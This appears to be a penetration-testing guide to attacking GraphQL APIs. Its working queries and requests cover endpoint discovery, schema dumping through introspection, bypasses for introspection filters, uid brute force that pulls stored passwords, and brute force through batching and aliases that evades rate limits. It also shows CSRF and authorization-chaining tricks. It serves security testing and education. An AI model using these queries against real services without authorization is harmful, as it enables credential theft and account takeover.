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GraphQL

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Introduction

GraphQL acts as an alternative to REST API. Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. This is a lot simpler because you don’t have to send multiple requests to the API, a single request can be used to gather all the necessary information.

GraphQL

As new technologies emerge so will new vulnerabilities. By default graphQL does not implement authentication, this is put on the developer to implement. This means by default graphQL allows anyone to query it, any sensitive information will be available to attackers unauthenticated.

When performing your directory brute force attacks make sure to add the following paths to check for graphQL instances.

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the introspection system, more details can be found here: GraphQL: A query language for APIs.
It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so…

Fingerprint

The tool graphw00f is capable to detect wich GraphQL engine is used in a server and then prints some helpful information for the security auditor.

Universal queries

If you send query{__typename} to any GraphQL endpoint, it will include the string {"data": {"__typename": "query"}} somewhere in its response. This is known as a universal query, and is a useful tool in probing whether a URL corresponds to a GraphQL service.

The query works because every GraphQL endpoint has a reserved field called __typename that returns the queried object's type as a string.

Basic Enumeration

Graphql usually supports GET, POST (x-www-form-urlencoded) and POST(json). Although for security it's recommended to only allow json to prevent CSRF attacks.

Introspection

To use introspection to discover schema information, query the __schema field. This field is available on the root type of all queries.

query={__schema{types{name,fields{name}}}}

With this query you will find the name of all the types being used:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

With this query you can extract all the types, it's fields, and it's arguments (and the type of the args). This will be very useful to know how to query the database.

Errors

It's interesting to know if the errors are going to be shown as they will contribute with useful information.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection

{% hint style="info" %} If introspection is enabled but the above query doesn't run, try removing the onOperation, onFragment, and onField directives from the query structure. {% endhint %}

  #Full introspection query

query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
         ...FullType
        }
        directives {
            name
            description
            args {
                ...InputValue
        }
        onOperation  #Often needs to be deleted to run query
        onFragment   #Often needs to be deleted to run query
        onField      #Often needs to be deleted to run query
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}

Inline introspection query:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...)

If introspection is enabled you can use GraphQL Voyager to view in a GUI all the options.

Querying

Now that we know which kind of information is saved inside the database, let's try to extract some values.

In the introspection you can find which object you can directly query for (because you cannot query an object just because it exists). In the following image you can see that the "queryType" is called "Query" and that one of the fields of the "Query" object is "flags", which is also a type of object. Therefore you can query the flag object.

Note that the type of the query "flags" is "Flags", and this object is defined as below:

You can see that the "Flags" objects are composed by name and .value Then you can get all the names and values of the flags with the query:

query={flags{name, value}}

Note that in case the object to query is a primitive type like string like in the following example

You can just query is with:

query={hiddenFlags}

In another example where there were 2 objects inside the "Query" type object: "user" and "users".
If these objects don't need any argument to search, could retrieve all the information from them just asking for the data you want. In this example from Internet you could extract the saved usernames and passwords:

However, in this example if you try to do so you get this error:

Looks like somehow it will search using the "uid" argument of type Int.
Anyway, we already knew that, in the Basic Enumeration section a query was purposed that was showing us all the needed information: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

If you read the image provided when I run that query you will see that "user" had the arg "uid" of type Int.

So, performing some light uid bruteforce I found that in uid=1 a username and a password was retrieved:
query={user(uid:1){user,password}}

Note that I discovered that I could ask for the parameters "user" and "password" because if I try to look for something that doesn't exist (query={user(uid:1){noExists}}) I get this error:

And during the enumeration phase I discovered that the "dbuser" object had as fields "user" and "password.

Query string dump trick (thanks to @BinaryShadow_)

If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (Note this example isn't related with the example of the tutorials, for this example suppose you can search using "theusers" by a String field called "description").

GraphQL is a relatively new technology that is starting to gain some traction among startups and large corporations. Other than missing authentication by default graphQL endpoints can be vulnerable to other bugs such as IDOR.

Searching

For this example imagine a data base with persons identified by the email and the name and movies identified by the name and rating. A person can be friend with other persons and a person can have movies.

You can search persons by the name and get their emails:

{
  searchPerson(name: "John Doe") {
    email
  }
}

You can search persons by the name and get their subscribed films:

{
  searchPerson(name: "John Doe") {
    email
    subscribedMovies {
      edges {
        node {
          name
        }
      }
    }
  }
}

Note how its indicated to retrieve the name of the subscribedMovies of the person.

You can also search several objects at the same time. In this case, a search 2 movies is done:

{
  searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
    name
  }
}r

Or even relations of several different objects using aliases:

{
  johnsMovieList: searchPerson(name: "John Doe") {
    subscribedMovies {
      edges {
        node {
          name
        }
      }
    }
  }
  davidsMovieList: searchPerson(name: "David Smith") {
    subscribedMovies {
      edges {
        node {
          name
        }
      }
    }
  }
}

Mutations

Mutations are used to make changes in the server-side.

In the introspection you can find the declared mutations. In the following image the "MutationType" is called "Mutation" and the "Mutation" object contains the names of the mutations (like "addPerson" in this case):

For this example imagine a data base with persons identified by the email and the name and movies identified by the name and rating. A person can be friend with other persons and a person can have movies.

A mutation to create new movies inside the database can be like the following one (in this example the mutation is called addMovie):

mutation {
  addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
    movies {
      name
      rating
    }
  }
}

Note how both the values and type of data are indicated in the query.

There may also be also a mutation to create persons (called addPerson in this example) with friends and files (note that the friends and films have to exist before creating a person related to them):

mutation {
  addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
    person {
      name
      email
      friends {
        edges {
          node {
            name
            email
          }
        }
      }
      subscribedMovies {
        edges {
          node {
            name
            rating
            releaseYear
          }
        }
      }
    }
  }
}

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Authentication through GraphQL API with simultaneously sending many queries with different credentials to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Without Introspection

More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

If you cannot get introspection queries to run for the API you are testing, try inserting a special character after the __schema keyword.

When developers disable introspection, they could use a regex to exclude the __schema keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex.

As such, if the developer has only excluded __schema{, then the below introspection query would not be excluded.

#Introspection query with newline
{ 
    "query": "query{__schema
    {queryType{name}}}"
}

If this doesn't work, try running the probe over an alternative request method, as introspection may only be disabled over POST. Try a GET request, or a POST request with a content-type of x-www-form-urlencoded.

Leaked GraphQL Structures

If introspection is disabled, try looking at the website source code. The queries are often pre loaded into browser as javascript libraries. These prewritten queries can reveal powerful information about the schema and use of each object and function. The Sources tab of the developer tools can search all files to enumerate where the queries are saved. Sometimes even the administrator protected queries are already exposed.

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

If you don't know what CSRF is read the following page:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Out there you are going to be able to find several GraphQL endpoints configured without CSRF tokens.

Note that GraphQL request are usually sent via POST requests using the Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

However, most GraphQL endpoints also support form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Therefore, as CSRF requests like the previous ones are sent without preflight requests, it's possible to perform changes in the GraphQL abusing a CSRF.

However, note that the new default cookie value of the samesite flag of Chrome is Lax. This means that the cookie will only be sent from a third party web in GET requests.

Note that it's usually possible to send the query request also as a GET request and the CSRF token might not being validated in a GET request.

Also, abusing a XS-Search attack might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user.

For more information check the original post here.

Authorization in GraphQL

Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization.

Modifying query input variables could lead to sensitive account details leaked.

Mutation could even lead to account takeover trying to modify other account data.

{
  "operationName":"updateProfile",
  "variables":{"username":INJECT,"data":INJECT},
  "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass authorization in GraphQL

Chaining queries together can bypass a weak authentication system.

In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user.

Rate limit bypass using aliases

Ordinarily, GraphQL objects can't contain multiple properties with the same name. Aliases enable you to bypass this restriction by explicitly naming the properties you want the API to return. You can use aliases to return multiple instances of the same type of object in one request.

For more information on GraphQL aliases, see Aliases.

While aliases are intended to limit the number of API calls you need to make, they can also be used to brute force a GraphQL endpoint.

Many endpoints will have some sort of rate limiter in place to prevent brute force attacks. Some rate limiters work based on the number of HTTP requests received rather than the number of operations performed on the endpoint. Because aliases effectively enable you to send multiple queries in a single HTTP message, they can bypass this restriction.

The simplified example below shows a series of aliased queries checking whether store discount codes are valid. This operation could potentially bypass rate limiting as it is a single HTTP request, even though it could potentially be used to check a vast number of discount codes at once.

#Request with aliased queries
query isValidDiscount($code: Int) {
    isvalidDiscount(code:$code){
        valid
    }
    isValidDiscount2:isValidDiscount(code:$code){
        valid
    }
    isValidDiscount3:isValidDiscount(code:$code){
        valid
    }
}

Tools

Vulnerability scanners

Clients

Automatic Tests

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

References

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